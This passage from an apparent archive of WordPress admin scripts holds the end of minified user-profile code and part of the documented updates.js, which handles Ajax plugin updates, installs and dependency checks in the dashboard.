5:r("#pass-strength-result").addClass("short").html(pwsL10n.mismatch);break;default:r("#pass-strength-result").addClass("short").html(pwsL10n.short)}else r("#pass-strength-result").addClass("empty").html(" ")}function j(e){var a,s,t,n=!1;g&&(y||k)||(a=r('<div id="caps-warning" class="caps-warning"></div>'),s=r('<span class="caps-icon" aria-hidden="true"><svg viewBox="0 0 24 26" xmlns="http://www.w3.org/2000/svg" fill="#3c434a" stroke="#3c434a" stroke-width="0.5"><path d="M12 5L19 15H16V19H8V15H5L12 5Z"/><rect x="8" y="21" width="8" height="1.5" rx="0.75"/></svg></span>'),t=r("<span>",{class:"caps-warning-text",text:m("Caps lock is on.")}),a.append(s,t),e.parent("div").append(a),e.on("keydown",function(e){var s,e=e.originalEvent;e.ctrlKey||e.metaKey||e.altKey||!e.key||1!==e.key.length||(s=e.getModifierState("CapsLock"))!==n&&((n=s)?(a.show(),"CapsLock"!==e.key&&wp.a11y.speak(m("Caps lock is on."),"assertive")):a.hide())}),e.on("blur",function(){document.hasFocus()&&(n=!1,a.hide())}))}function H(){var e=r("#pass-strength-result");e.length&&(e=e[0]).className&&(a.addClass(e.className),r(e).is(".short, .bad")?(i.prop("checked")||p.prop("disabled",!0),n.show()):(r(e).is(".empty")?(p.prop("disabled",!0),i.prop("checked",!1)):p.prop("disabled",!1),n.hide()))}e.on("success",function(e){var s=r(e.trigger),a=r(".success",s.closest(".application-password-display"));e.clearSelection(),clearTimeout(w),a.removeClass("hidden"),w=setTimeout(function(){a.addClass("hidden")},3e3),wp.a11y.speak(m("Application password has been copied to your clipboard."))}),r(function(){var e,a,t,n,i=r("#display_name"),s=i.val(),o=r("#wp-admin-bar-my-account").find(".display-name");r("#pass1").val("").on("input pwupdate",T),r("#pass-strength-result").show(),r(".color-palette").on("click",function(){r(this).siblings('input[name="admin_color"]').prop("checked",!0)}),i.length&&(r("#first_name, #last_name, #nickname").on("blur.user_profile",function(){var a=[],t={display_nickname:r("#nickname").val()||"",display_username:r("#user_login").val()||"",display_firstname:r("#first_name").val()||"",display_lastname:r("#last_name").val()||""};t.display_firstname&&t.display_lastname&&(t.display_firstlast=t.display_firstname+" "+t.display_lastname,t.display_lastfirst=t.display_lastname+" "+t.display_firstname),r.each(r("option",i),function(e,s){a.push(s.value)}),r.each(t,function(e,s){s&&(s=s.replace(/<\/?[a-z][^>]*>/gi,""),t[e].length)&&-1===r.inArray(s,a)&&(a.push(s),r("<option />",{text:s}).appendTo(i))})}),i.on("change",function(){var e;t===n&&(e=this.value.trim()||s,o.text(e))})),e=r("#color-picker"),a=r("#colors-css"),t=r("input#user_id").val(),n=r('input[name="checkuser_id"]').val(),e.on("click.colorpicker",".color-option",function(){var e,s=r(this);if(!s.hasClass("selected")&&(s.siblings(".selected").removeClass("selected"),s.addClass("selected").find('input[type="radio"]').prop("checked",!0),t===n)){if((a=0===a.length?r('<link rel="stylesheet" />').appendTo("head"):a).attr("href",s.children(".css_url").val()),"undefined"!=typeof wp&&wp.svgPainter){try{e=JSON.parse(s.children(".icon_colors").val())}catch(e){}e&&(wp.svgPainter.setColors(e),wp.svgPainter.paint())}r.post(ajaxurl,{action:"save-user-color-scheme",color_scheme:s.children('input[name="admin_color"]').val(),nonce:r("#color-nonce").val()}).done(function(e){e.success&&r("body").removeClass(e.data.previousScheme).addClass(e.data.currentScheme)})}}),S(),r("#generate-reset-link").on("click",function(){var s=r(this),e={user_id:userProfileL10n.user_id,nonce:userProfileL10n.nonce},e=(s.parent().find(".notice-error").remove(),wp.ajax.post("send-password-reset",e));e.done(function(e){L(s,!0,e)}),e.fail(function(e){L(s,!1,e)})}),p.on("click",function(){v=!0}),c=r("#your-profile, #createuser"),u=c.serialize()}),r("#destroy-sessions").on("click",function(e){var s=r(this);wp.ajax.post("destroy-sessions",{nonce:r("#_wpnonce").val(),user_id:r("#user_id").val()}).done(function(e){s.prop("disabled",!0),s.siblings(".notice").remove(),s.before('<div class="notice notice-success inline" role="alert"><p>'+e.message+"</p></div>")}).fail(function(e){s.siblings(".notice").remove(),s.before('<div class="notice notice-error inline" role="alert"><p>'+e.message+"</p></div>")}),e.preventDefault()}),window.generatePassword=_,r(window).on("beforeunload",function(){return!0===f?m("Your new password has not been saved."):u===c.serialize()||v?void 0:m("The changes you made will be lost if you navigate away from this page.")}),r(function(){r(".reset-pass-submit").length&&r(".reset-pass-submit button.wp-generate-pw").trigger("click")})}(jQuery); js/updates.js 0000644 00000332577 15233246127 0007211 0 ustar 00 /** * Functions for ajaxified updates, deletions and installs inside the WordPress admin. * * @version 4.2.0 * @output wp-admin/js/updates.js */ /* global pagenow, _wpThemeSettings */ /** * @param {jQuery} $ jQuery object. * @param {object} wp WP object. * @param {object} settings WP Updates settings. * @param {string} settings.ajax_nonce Ajax nonce. * @param {object=} settings.plugins Base names of plugins in their different states. * @param {Array} settings.plugins.all Base names of all plugins. * @param {Array} settings.plugins.active Base names of active plugins. * @param {Array} settings.plugins.inactive Base names of inactive plugins. * @param {Array} settings.plugins.upgrade Base names of plugins with updates available. * @param {Array} settings.plugins.recently_activated Base names of recently activated plugins. * @param {Array} settings.plugins['auto-update-enabled'] Base names of plugins set to auto-update. * @param {Array} settings.plugins['auto-update-disabled'] Base names of plugins set to not auto-update. * @param {object=} settings.themes Slugs of themes in their different states. * @param {Array} settings.themes.all Slugs of all themes. * @param {Array} settings.themes.upgrade Slugs of themes with updates available. * @param {Arrat} settings.themes.disabled Slugs of disabled themes. * @param {Array} settings.themes['auto-update-enabled'] Slugs of themes set to auto-update. * @param {Array} settings.themes['auto-update-disabled'] Slugs of themes set to not auto-update. * @param {object=} settings.totals Combined information for available update counts. * @param {number} settings.totals.count Holds the amount of available updates. */ (function( $, wp, settings ) { var $document = $( document ), __ = wp.i18n.__, _x = wp.i18n._x, _n = wp.i18n._n, _nx = wp.i18n._nx, sprintf = wp.i18n.sprintf; wp = wp || {}; /** * The WP Updates object. * * @since 4.2.0 * * @namespace wp.updates */ wp.updates = {}; /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.2.0 * @deprecated 5.5.0 * * @type {object} */ wp.updates.l10n = { searchResults: '', searchResultsLabel: '', noPlugins: '', noItemsSelected: '', updating: '', pluginUpdated: '', themeUpdated: '', update: '', updateNow: '', pluginUpdateNowLabel: '', updateFailedShort: '', updateFailed: '', pluginUpdatingLabel: '', pluginUpdatedLabel: '', pluginUpdateFailedLabel: '', updatingMsg: '', updatedMsg: '', updateCancel: '', beforeunload: '', installNow: '', pluginInstallNowLabel: '', installing: '', pluginInstalled: '', themeInstalled: '', installFailedShort: '', installFailed: '', pluginInstallingLabel: '', themeInstallingLabel: '', pluginInstalledLabel: '', themeInstalledLabel: '', pluginInstallFailedLabel: '', themeInstallFailedLabel: '', installingMsg: '', installedMsg: '', importerInstalledMsg: '', aysDelete: '', aysDeleteUninstall: '', aysBulkDelete: '', aysBulkDeleteThemes: '', deleting: '', deleteFailed: '', pluginDeleted: '', themeDeleted: '', livePreview: '', activatePlugin: '', activateTheme: '', activatePluginLabel: '', activateThemeLabel: '', activateImporter: '', activateImporterLabel: '', unknownError: '', connectionError: '', nonceError: '', pluginsFound: '', noPluginsFound: '', autoUpdatesEnable: '', autoUpdatesEnabling: '', autoUpdatesEnabled: '', autoUpdatesDisable: '', autoUpdatesDisabling: '', autoUpdatesDisabled: '', autoUpdatesError: '' }; wp.updates.l10n = window.wp.deprecateL10nObject( 'wp.updates.l10n', wp.updates.l10n, '5.5.0' ); /** * User nonce for ajax calls. * * @since 4.2.0 * * @type {string} */ wp.updates.ajaxNonce = settings.ajax_nonce; /** * Current search term. * * @since 4.6.0 * * @type {string} */ wp.updates.searchTerm = ''; /** * Minimum number of characters before an ajax search is fired. * * @since 6.7.0 * * @type {number} */ wp.updates.searchMinCharacters = 2; /** * Whether filesystem credentials need to be requested from the user. * * @since 4.2.0 * * @type {bool} */ wp.updates.shouldRequestFilesystemCredentials = false; /** * Filesystem credentials to be packaged along with the request. * * @since 4.2.0 * @since 4.6.0 Added `available` property to indicate whether credentials have been provided. * * @type {Object} * @property {Object} filesystemCredentials.ftp Holds FTP credentials. * @property {string} filesystemCredentials.ftp.host FTP host. Default empty string. * @property {string} filesystemCredentials.ftp.username FTP user name. Default empty string. * @property {string} filesystemCredentials.ftp.password FTP password. Default empty string. * @property {string} filesystemCredentials.ftp.connectionType Type of FTP connection. 'ssh', 'ftp', or 'ftps'. * Default empty string. * @property {Object} filesystemCredentials.ssh Holds SSH credentials. * @property {string} filesystemCredentials.ssh.publicKey The public key. Default empty string. * @property {string} filesystemCredentials.ssh.privateKey The private key. Default empty string. * @property {string} filesystemCredentials.fsNonce Filesystem credentials form nonce. * @property {bool} filesystemCredentials.available Whether filesystem credentials have been provided. * Default 'false'. */ wp.updates.filesystemCredentials = { ftp: { host: '', username: '', password: '', connectionType: '' }, ssh: { publicKey: '', privateKey: '' }, fsNonce: '', available: false }; /** * Whether we're waiting for an Ajax request to complete. * * @since 4.2.0 * @since 4.6.0 More accurately named `ajaxLocked`. * * @type {bool} */ wp.updates.ajaxLocked = false; /** * Admin notice template. * * @since 4.6.0 * * @type {function} */ wp.updates.adminNotice = wp.template( 'wp-updates-admin-notice' ); /** * Update queue. * * If the user tries to update a plugin while an update is * already happening, it can be placed in this queue to perform later. * * @since 4.2.0 * @since 4.6.0 More accurately named `queue`. * * @type {Array.object} */ wp.updates.queue = []; /** * Holds a jQuery reference to return focus to when exiting the request credentials modal. * * @since 4.2.0 * * @type {jQuery} */ wp.updates.$elToReturnFocusToFromCredentialsModal = undefined; /** * Adds or updates an admin notice. * * @since 4.6.0 * * @param {Object} data * @param {*=} data.selector Optional. Selector of an element to be replaced with the admin notice. * @param {string=} data.id Optional. Unique id that will be used as the notice's id attribute. * @param {string=} data.className Optional. Class names that will be used in the admin notice. * @param {string=} data.message Optional. The message displayed in the notice. * @param {number=} data.successes Optional. The amount of successful operations. * @param {number=} data.errors Optional. The amount of failed operations. * @param {Array=} data.errorMessages Optional. Error messages of failed operations. * */ wp.updates.addAdminNotice = function( data ) { var $notice = $( data.selector ), $headerEnd = $( '.wp-header-end' ), $adminNotice; delete data.selector; $adminNotice = wp.updates.adminNotice( data ); // Check if this admin notice already exists. if ( ! $notice.length ) { $notice = $( '#' + data.id ); } if ( $notice.length ) { $notice.replaceWith( $adminNotice ); } else if ( $headerEnd.length ) { $headerEnd.after( $adminNotice ); } else { if ( 'customize' === pagenow ) { $( '.customize-themes-notifications' ).append( $adminNotice ); } else { $( '.wrap' ).find( '> h1' ).after( $adminNotice ); } } $document.trigger( 'wp-updates-notice-added' ); }; /** * Handles Ajax requests to WordPress. * * @since 4.6.0 * * @param {string} action The type of Ajax request ('update-plugin', 'install-theme', etc). * @param {Object} data Data that needs to be passed to the ajax callback. * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.ajax = function( action, data ) { var options = {}; if ( wp.updates.ajaxLocked ) { wp.updates.queue.push( { action: action, data: data } ); // Return a Deferred object so callbacks can always be registered. return $.Deferred(); } wp.updates.ajaxLocked = true; if ( data.success ) { options.success = data.success; delete data.success; } if ( data.error ) { options.error = data.error; delete data.error; } options.data = _.extend( data, { action: action, _ajax_nonce: wp.updates.ajaxNonce, _fs_nonce: wp.updates.filesystemCredentials.fsNonce, username: wp.updates.filesystemCredentials.ftp.username, password: wp.updates.filesystemCredentials.ftp.password, hostname: wp.updates.filesystemCredentials.ftp.hostname, connection_type: wp.updates.filesystemCredentials.ftp.connectionType, public_key: wp.updates.filesystemCredentials.ssh.publicKey, private_key: wp.updates.filesystemCredentials.ssh.privateKey } ); return wp.ajax.send( options ).always( wp.updates.ajaxAlways ); }; /** * Actions performed after every Ajax request. * * @since 4.6.0 * * @param {Object} response * @param {Array=} response.debug Optional. Debug information. * @param {string=} response.errorCode Optional. Error code for an error that occurred. */ wp.updates.ajaxAlways = function( response ) { if ( ! response.errorCode || 'unable_to_connect_to_filesystem' !== response.errorCode ) { wp.updates.ajaxLocked = false; wp.updates.queueChecker(); } if ( 'undefined' !== typeof response.debug && window.console && window.console.log ) { _.map( response.debug, function( message ) { // Remove all HTML tags and write a message to the console. window.console.log( wp.sanitize.stripTagsAndEncodeText( message ) ); } ); } }; /** * Refreshes update counts everywhere on the screen. * * @since 4.7.0 */ wp.updates.refreshCount = function() { var $adminBarUpdates = $( '#wp-admin-bar-updates' ), $dashboardNavMenuUpdateCount = $( 'a[href="update-core.php"] .update-plugins' ), $pluginsNavMenuUpdateCount = $( 'a[href="plugins.php"] .update-plugins' ), $appearanceNavMenuUpdateCount = $( 'a[href="themes.php"] .update-plugins' ), itemCount; $adminBarUpdates.find( '.ab-label' ).text( settings.totals.counts.total ); $adminBarUpdates.find( '.updates-available-text' ).text( sprintf( /* translators: %s: Total number of updates available. */ _n( '%s update available', '%s updates available', settings.totals.counts.total ), settings.totals.counts.total ) ); // Remove the update count from the toolbar if it's zero. if ( 0 === settings.totals.counts.total ) { $adminBarUpdates.find( '.ab-label' ).parents( 'li' ).remove(); } // Update the "Updates" menu item. $dashboardNavMenuUpdateCount.each( function( index, element ) { element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.total ); } ); if ( settings.totals.counts.total > 0 ) { $dashboardNavMenuUpdateCount.find( '.update-count' ).text( settings.totals.counts.total ); } else { $dashboardNavMenuUpdateCount.remove(); } // Update the "Plugins" menu item. $pluginsNavMenuUpdateCount.each( function( index, element ) { element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.plugins ); } ); if ( settings.totals.counts.total > 0 ) { $pluginsNavMenuUpdateCount.find( '.plugin-count' ).text( settings.totals.counts.plugins ); } else { $pluginsNavMenuUpdateCount.remove(); } // Update the "Appearance" menu item. $appearanceNavMenuUpdateCount.each( function( index, element ) { element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.themes ); } ); if ( settings.totals.counts.total > 0 ) { $appearanceNavMenuUpdateCount.find( '.theme-count' ).text( settings.totals.counts.themes ); } else { $appearanceNavMenuUpdateCount.remove(); } // Update list table filter navigation. if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) { itemCount = settings.totals.counts.plugins; } else if ( 'themes' === pagenow || 'themes-network' === pagenow ) { itemCount = settings.totals.counts.themes; } if ( itemCount > 0 ) { $( '.subsubsub .upgrade .count' ).text( '(' + itemCount + ')' ); } else { $( '.subsubsub .upgrade' ).remove(); $( '.subsubsub li:last' ).html( function() { return $( this ).children(); } ); } }; /** * Sends a message from a modal to the main screen to update buttons in plugin cards. * * @since 6.5.0 * * @param {Object} data An object of data to use for the button. * @param {string} data.slug The plugin's slug. * @param {string} data.text The text to use for the button. * @param {string} data.ariaLabel The value for the button's aria-label attribute. An empty string removes the attribute. * @param {string=} data.status Optional. An identifier for the status. * @param {string=} data.removeClasses Optional. A space-separated list of classes to remove from the button. * @param {string=} data.addClasses Optional. A space-separated list of classes to add to the button. * @param {string=} data.href Optional. The button's URL. * @param {string=} data.pluginName Optional. The plugin's name. * @param {string=} data.plugin Optional. The plugin file, relative to the plugins directory. */ wp.updates.setCardButtonStatus = function( data ) { var target = window.parent === window ? null : window.parent; $.support.postMessage = !! window.postMessage; if ( false !== $.support.postMessage && null !== target && -1 === window.parent.location.pathname.indexOf( 'index.php' ) ) { target.postMessage( JSON.stringify( data ), window.location.origin ); } }; /** * Decrements the update counts throughout the various menus. * * This includes the toolbar, the "Updates" menu item and the menu items * for plugins and themes. * * @since 3.9.0 * * @param {string} type The type of item that was updated or deleted. * Can be 'plugin', 'theme'. */ wp.updates.decrementCount = function( type ) { settings.totals.counts.total = Math.max( --settings.totals.counts.total, 0 ); if ( 'plugin' === type ) { settings.totals.counts.plugins = Math.max( --settings.totals.counts.plugins, 0 ); } else if ( 'theme' === type ) { settings.totals.counts.themes = Math.max( --settings.totals.counts.themes, 0 ); } wp.updates.refreshCount( type ); }; /** * Sends an Ajax request to the server to update a plugin. * * @since 4.2.0 * @since 4.6.0 More accurately named `updatePlugin`. * * @param {Object} args Arguments. * @param {string} args.plugin Plugin basename. * @param {string} args.slug Plugin slug. * @param {updatePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.updatePluginSuccess * @param {updatePluginError=} args.error Optional. Error callback. Default: wp.updates.updatePluginError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.updatePlugin = function( args ) { var $updateRow, $card, $message, message, $adminBarUpdates = $( '#wp-admin-bar-updates' ), buttonText = __( 'Updating...' ), isPluginInstall = 'plugin-install' === pagenow || 'plugin-install-network' === pagenow; args = _.extend( { success: wp.updates.updatePluginSuccess, error: wp.updates.updatePluginError }, args ); if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) { $updateRow = $( 'tr[data-plugin="' + args.plugin + '"]' ); $message = $updateRow.find( '.update-message' ).removeClass( 'notice-error' ).addClass( 'updating-message notice-warning' ).find( 'p' ); message = sprintf( /* translators: %s: Plugin name and version. */ _x( 'Updating %s...', 'plugin' ), $updateRow.find( '.plugin-title strong' ).text() ); } else if ( isPluginInstall ) { $card = $( '.plugin-card-' + args.slug + ', #plugin-information-footer' ); $message = $card.find( '.update-now' ).addClass( 'updating-message' ); message = sprintf( /* translators: %s: Plugin name and version. */ _x( 'Updating %s...', 'plugin' ), $message.data( 'name' ) ); // Remove previous error messages, if any. $card.removeClass( 'plugin-card-update-failed' ).find( '.notice.notice-error' ).remove(); } $adminBarUpdates.addClass( 'spin' ); if ( $message.html() !== __( 'Updating...' ) ) { $message.data( 'originaltext', $message.html() ); } $message .attr( 'aria-label', message ) .text( buttonText ); $document.trigger( 'wp-plugin-updating', args ); if ( isPluginInstall && 'plugin-information-footer' === $card.attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'updating-plugin', slug: args.slug, addClasses: 'updating-message', text: buttonText, ariaLabel: message } ); } return wp.updates.ajax( 'update-plugin', args ); }; /** * Updates the UI appropriately after a successful plugin update. * * @since 4.2.0 * @since 4.6.0 More accurately named `updatePluginSuccess`. * @since 5.5.0 Auto-update "time to next update" text cleared. * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be updated. * @param {string} response.plugin Basename of the plugin to be updated. * @param {string} response.pluginName Name of the plugin to be updated. * @param {string} response.oldVersion Old version of the plugin. * @param {string} response.newVersion New version of the plugin. */ wp.updates.updatePluginSuccess = function( response ) { var $pluginRow, $updateMessage, newText, $adminBarUpdates = $( '#wp-admin-bar-updates' ), buttonText = _x( 'Updated!', 'plugin' ), ariaLabel = sprintf( /* translators: %s: Plugin name and version. */ _x( '%s updated!', 'plugin' ), response.pluginName ); if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) { $pluginRow = $( 'tr[data-plugin="' + response.plugin + '"]' ) .removeClass( 'update is-enqueued' ) .addClass( 'updated' ); $updateMessage = $pluginRow.find( '.update-message' ) .removeClass( 'updating-message notice-warning' ) .addClass( 'updated-message notice-success' ).find( 'p' ); // Update the version number in the row. newText = $pluginRow.find( '.plugin-version-author-uri' ).html().replace( response.oldVersion, response.newVersion ); $pluginRow.find( '.plugin-version-author-uri' ).html( newText ); // Clear the "time to next auto-update" text. $pluginRow.find( '.auto-update-time' ).empty(); } else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) { $updateMessage = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.update-now' ) .removeClass( 'updating-message' ) .addClass( 'button-disabled updated-message' ); } $adminBarUpdates.removeClass( 'spin' ); $updateMessage .attr( 'aria-label', ariaLabel ) .text( buttonText ); wp.a11y.speak( __( 'Update completed successfully.' ) ); if ( 'plugin_install_from_iframe' !== $updateMessage.attr( 'id' ) ) { wp.updates.decrementCount( 'plugin' ); } else { wp.updates.setCardButtonStatus( { status: 'updated-plugin', slug: response.slug, removeClasses: 'updating-message', addClasses: 'button-disabled updated-message', text: buttonText, ariaLabel: ariaLabel } ); } $document.trigger( 'wp-plugin-update-success', response ); }; /** * Updates the UI appropriately after a failed plugin update. * * @since 4.2.0 * @since 4.6.0 More accurately named `updatePluginError`. * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be updated. * @param {string} response.plugin Basename of the plugin to be updated. * @param {string=} response.pluginName Optional. Name of the plugin to be updated. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.updatePluginError = function( response ) { var $pluginRow, $card, $message, errorMessage, buttonText, ariaLabel, $adminBarUpdates = $( '#wp-admin-bar-updates' ); if ( ! wp.updates.isValidResponse( response, 'update' ) ) { return; } if ( wp.updates.maybeHandleCredentialError( response, 'update-plugin' ) ) { return; } errorMessage = sprintf( /* translators: %s: Error string for a failed update. */ __( 'Update failed: %s' ), response.errorMessage ); if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) { $pluginRow = $( 'tr[data-plugin="' + response.plugin + '"]' ).removeClass( 'is-enqueued' ); if ( response.plugin ) { $message = $( 'tr[data-plugin="' + response.plugin + '"]' ).find( '.update-message' ); } else { $message = $( 'tr[data-slug="' + response.slug + '"]' ).find( '.update-message' ); } $message.removeClass( 'updating-message notice-warning' ).addClass( 'notice-error' ).find( 'p' ).html( errorMessage ); if ( response.pluginName ) { $message.find( 'p' ) .attr( 'aria-label', sprintf( /* translators: %s: Plugin name and version. */ _x( '%s update failed.', 'plugin' ), response.pluginName ) ); } else { $message.find( 'p' ).removeAttr( 'aria-label' ); } } else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) { buttonText = __( 'Update failed.' ); $card = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ) .append( wp.updates.adminNotice( { className: 'update-message notice-error notice-alt is-dismissible', message: errorMessage } ) ); if ( $card.hasClass( 'plugin-card-' + response.slug ) ) { $card.addClass( 'plugin-card-update-failed' ); } $card.find( '.update-now' ) .text( buttonText ) .removeClass( 'updating-message' ); if ( response.pluginName ) { ariaLabel = sprintf( /* translators: %s: Plugin name and version. */ _x( '%s update failed.', 'plugin' ), response.pluginName ); $card.find( '.update-now' ).attr( 'aria-label', ariaLabel ); } else { ariaLabel = ''; $card.find( '.update-now' ).removeAttr( 'aria-label' ); } $card.on( 'click', '.notice.is-dismissible .notice-dismiss', function() { // Use same delay as the total duration of the notice fadeTo + slideUp animation. setTimeout( function() { $card .removeClass( 'plugin-card-update-failed' ) .find( '.column-name a' ).trigger( 'focus' ); $card.find( '.update-now' ) .attr( 'aria-label', false ) .text( __( 'Update Now' ) ); }, 200 ); } ); } $adminBarUpdates.removeClass( 'spin' ); wp.a11y.speak( errorMessage, 'assertive' ); if ( 'plugin-information-footer' === $card.attr('id' ) ) { wp.updates.setCardButtonStatus( { status: 'plugin-update-failed', slug: response.slug, removeClasses: 'updating-message', text: buttonText, ariaLabel: ariaLabel } ); } $document.trigger( 'wp-plugin-update-error', response ); }; /** * Sends an Ajax request to the server to install a plugin. * * @since 4.6.0 * * @param {Object} args Arguments. * @param {string} args.slug Plugin identifier in the WordPress.org Plugin repository. * @param {installPluginSuccess=} args.success Optional. Success callback. Default: wp.updates.installPluginSuccess * @param {installPluginError=} args.error Optional. Error callback. Default: wp.updates.installPluginError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.installPlugin = function( args ) { var $card = $( '.plugin-card-' + args.slug + ', #plugin-information-footer' ), $message = $card.find( '.install-now' ), buttonText = __( 'Installing...' ), ariaLabel; args = _.extend( { success: wp.updates.installPluginSuccess, error: wp.updates.installPluginError }, args ); if ( 'import' === pagenow ) { $message = $( '[data-slug="' + args.slug + '"]' ); } if ( $message.html() !== __( 'Installing...' ) ) { $message.data( 'originaltext', $message.html() ); } ariaLabel = sprintf( /* translators: %s: Plugin name and version. */ _x( 'Installing %s...', 'plugin' ), $message.data( 'name' ) ); $message .addClass( 'updating-message' ) .attr( 'aria-label', ariaLabel ) .text( buttonText ); wp.a11y.speak( __( 'Installing... please wait.' ) ); // Remove previous error messages, if any. $card.removeClass( 'plugin-card-install-failed' ).find( '.notice.notice-error' ).remove(); $document.trigger( 'wp-plugin-installing', args ); if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'installing-plugin', slug: args.slug, addClasses: 'updating-message', text: buttonText, ariaLabel: ariaLabel } ); } return wp.updates.ajax( 'install-plugin', args ); }; /** * Updates the UI appropriately after a successful plugin install. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the installed plugin. * @param {string} response.pluginName Name of the installed plugin. * @param {string} response.activateUrl URL to activate the just installed plugin. */ wp.updates.installPluginSuccess = function( response ) { var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.install-now' ), buttonText = _x( 'Installed!', 'plugin' ), ariaLabel = sprintf( /* translators: %s: Plugin name and version. */ _x( '%s installed!', 'plugin' ), response.pluginName ); $message .removeClass( 'updating-message' ) .addClass( 'updated-message installed button-disabled' ) .attr( 'aria-label', ariaLabel ) .text( buttonText ); wp.a11y.speak( __( 'Installation completed successfully.' ) ); $document.trigger( 'wp-plugin-install-success', response ); if ( response.activateUrl ) { setTimeout( function() { wp.updates.checkPluginDependencies( { slug: response.slug } ); }, 1000 ); } if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'installed-plugin', slug: response.slug, removeClasses: 'updating-message', addClasses: 'updated-message installed button-disabled', text: buttonText, ariaLabel: ariaLabel } ); } }; /** * Updates the UI appropriately after a failed plugin install. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be installed. * @param {string=} response.pluginName Optional. Name of the plugin to be installed. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.installPluginError = function( response ) { var $card = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ), $button = $card.find( '.install-now' ), buttonText = __( 'Installation failed.' ), ariaLabel = sprintf( /* translators: %s: Plugin name and version. */ _x( '%s installation failed', 'plugin' ), $button.data( 'name' ) ), errorMessage; if ( ! wp.updates.isValidResponse( response, 'install' ) ) { return; } if ( wp.updates.maybeHandleCredentialError( response, 'install-plugin' ) ) { return; } errorMessage = sprintf( /* translators: %s: Error string for a failed installation. */ __( 'Installation failed: %s' ), response.errorMessage ); $card .addClass( 'plugin-card-update-failed' ) .append( '<div class="notice notice-error notice-alt is-dismissible" role="alert"><p>' + errorMessage + '</p></div>' ); $card.on( 'click', '.notice.is-dismissible .notice-dismiss', function() { // Use same delay as the total duration of the notice fadeTo + slideUp animation. setTimeout( function() { $card .removeClass( 'plugin-card-update-failed' ) .find( '.column-name a' ).trigger( 'focus' ); }, 200 ); } ); $button .removeClass( 'updating-message' ).addClass( 'button-disabled' ) .attr( 'aria-label', ariaLabel ) .text( buttonText ); wp.a11y.speak( errorMessage, 'assertive' ); wp.updates.setCardButtonStatus( { status: 'plugin-install-failed', slug: response.slug, removeClasses: 'updating-message', addClasses: 'button-disabled', text: buttonText, ariaLabel: ariaLabel } ); $document.trigger( 'wp-plugin-install-error', response ); }; /** * Sends an Ajax request to the server to check a plugin's dependencies. * * @since 6.5.0 * * @param {Object} args Arguments. * @param {string} args.slug Plugin identifier in the WordPress.org Plugin repository. * @param {checkPluginDependenciesSuccess=} args.success Optional. Success callback. Default: wp.updates.checkPluginDependenciesSuccess * @param {checkPluginDependenciesError=} args.error Optional. Error callback. Default: wp.updates.checkPluginDependenciesError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.checkPluginDependencies = function( args ) { args = _.extend( { success: wp.updates.checkPluginDependenciesSuccess, error: wp.updates.checkPluginDependenciesError }, args ); wp.a11y.speak( __( 'Checking plugin dependencies... please wait.' ) ); $document.trigger( 'wp-checking-plugin-dependencies', args ); return wp.updates.ajax( 'check_plugin_dependencies', args ); }; /** * Updates the UI appropriately after a successful plugin dependencies check. * * @since 6.5.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the checked plugin. * @param {string} response.pluginName Name of the checked plugin. * @param {string} response.plugin The plugin file, relative to the plugins directory. * @param {string} response.activateUrl URL to activate the just checked plugin. */ wp.updates.checkPluginDependenciesSuccess = function( response ) { var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.install-now' ), buttonText, ariaLabel; // Transform the 'Install' button into an 'Activate' button. $message .removeClass( 'install-now installed button-disabled updated-message' ) .addClass( 'activate-now button-primary' ) .attr( 'href', response.activateUrl ); wp.a11y.speak( __( 'Plugin dependencies check completed successfully.' ) ); $document.trigger( 'wp-check-plugin-dependencies-success', response ); if ( 'plugins-network' === pagenow || 'plugin-install-network' === pagenow ) { buttonText = _x( 'Network Activate', 'plugin' ); ariaLabel = sprintf( /* translators: %s: Plugin name. */ _x( 'Network Activate %s', 'plugin' ), response.pluginName ); $message .attr( 'aria-label', ariaLabel ) .text( buttonText ); } else { buttonText = _x( 'Activate', 'plugin' ); ariaLabel = sprintf( /* translators: %s: Plugin name. */ _x( 'Activate %s', 'plugin' ), response.pluginName ); $message .attr( 'aria-label', ariaLabel ) .attr( 'data-name', response.pluginName ) .attr( 'data-slug', response.slug ) .attr( 'data-plugin', response.plugin ) .text( buttonText ); } if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'dependencies-check-success', slug: response.slug, removeClasses: 'install-now installed button-disabled updated-message', addClasses: 'activate-now button-primary', text: buttonText, ariaLabel: ariaLabel, pluginName: response.pluginName, plugin: response.plugin, href: response.activateUrl } ); } }; /** * Updates the UI appropriately after a failed plugin dependencies check. * * @since 6.5.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be checked. * @param {string=} response.pluginName Optional. Name of the plugin to 